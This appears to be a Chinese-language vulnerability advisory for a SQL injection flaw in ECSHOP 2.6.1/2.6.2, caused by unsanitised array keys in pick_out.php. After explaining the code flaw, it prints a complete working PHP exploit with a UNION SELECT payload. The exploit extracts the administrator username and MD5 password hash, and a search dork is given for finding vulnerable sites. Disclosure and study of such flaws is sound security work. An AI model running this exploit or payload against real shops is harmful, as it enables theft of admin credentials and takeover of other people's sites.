ECSHOP 系统过滤不严导致SQL注入漏洞

SSV-ID: 11412

SSV-Appdir: ECSHOP

发布时间: 2009-05-25

影响版本:

ECSHOP 2.6.1/2.6.2

漏洞描述:

文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
 

   1. // includes/init.php  
   2. if (!get_magic_quotes_gpc())  
   3. {  
   4.     if (!emptyempty($_GET))  
   5.     {  
   6.         $_GET  = addslashes_deep($_GET);  
   7.     }  
   8.     if (!emptyempty($_POST))  
   9.     {  
  10.         $_POST = addslashes_deep($_POST);  
  11.     }  
  12.   
  13.     $_COOKIE   = addslashes_deep($_COOKIE);  
  14.     $_REQUEST  = addslashes_deep($_REQUEST);  
  15. }  

addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
 

   1. // includes/lib_base.php  
   2. function addslashes_deep($value)  
   3. {  
   4.     if (emptyempty($value))  
   5.     {  
   6.         return $value;  
   7.     }  
   8.     else  
   9.     {  
  10.         return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);  
  11.     // 只处理了数组的值:)  
  12.     }  
  13. }  

下面看下具体的导致漏洞的代码,文件 pick_out.php里:
 
 

   1. // pick_out.php  
   2. if (!emptyempty($_GET['attr']))  
   3. {  
   4.     foreach($_GET['attr'] as $key => $value)  
   5.     {  
   6.         $key = intval($key);  
   7.         $_GET['attr'][$key] = htmlspecialchars($value);  
   8.         // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value  
   9.         // 因此可以引入任意的key:)  
  10.         // 程序员的逻辑出了问题?  
  11.     }  
  12. }  
  13. ...  
  14.         foreach ($_GET['attr'] AS $key => $value)  
  15.         {  
  16.             $attr_url .= '&attr[' . $key . ']=' . $value;  
  17.   
  18.             $attr_picks[] = $key;  
  19.             if ($i > 0)  
  20.             {  
  21.                 if (emptyempty($goods_result))  
  22.                 {  
  23.                     break;  
  24.                 }  
  25.                 // 利用key进行注射:)  
  26.                 $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attrvalue='$value'");  

由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.

<*参考

ryat#wolvez.org
http://www.80vul.com

*>

测试方法:

[sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

   1.  #!/usr/bin/php  
   2. <?php  
   3. //本程序只作技术交流，请不要用做非法用途！！  
   4. print_r('  
   5. +---------------------------------------------------------------------------+  
   6. ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit  
   7. by puret_t  
   8. mail: puretot at gmail dot com  
   9. team: http://bbs.wolvez.org  
  10. dork: "Powered by ECShop"  
  11. +---------------------------------------------------------------------------+  
  12. ');  
  13. /** 
  14.  * works with magic_quotes_gpc = Off 
  15.  */  
  16. if ($argc < 3) {  
  17.     print_r('  
  18. +---------------------------------------------------------------------------+  
  19. Usage: php '.$argv[0].' host path  
  20. host:      target server (ip/hostname)  
  21. path:      path to ecshop  
  22. Example:  
  23. php '.$argv[0].' localhost /ecshop/  
  24. +---------------------------------------------------------------------------+  
  25. ');  
  26.     exit;  
  27. }  
  28.   
  29. error_reporting(7);  
  30. ini_set('max_execution_time', 0);  
  31.   
  32. $host = $argv[1];  
  33. $path = $argv[2];  
  34.   
  35. $resp = send();  
  36. preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);  
  37.   
  38. if ($hash)  
  39.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");  
  40. else  
  41.     exit("Exploit Failed!\n");  
  42.   
  43. function send()  
  44. {  
  45.     global $host, $path;  
  46.   
  47.     $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';  
  48.   
  49.     $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n";  
  50.     $data .= "Host: $host\r\n";  
  51.     $data .= "Connection: Close\r\n\r\n";  
  52.   
  53.     $fp = fsockopen($host, 80);  
  54.     fputs($fp, $data);  
  55.   
  56.     $resp = '';  
  57.   
  58.     while ($fp && !feof($fp))  
  59.         $resp .= fread($fp, 1024);  
  60.   
  61.     return $resp;  
  62. }  
  63.   
  64. ?>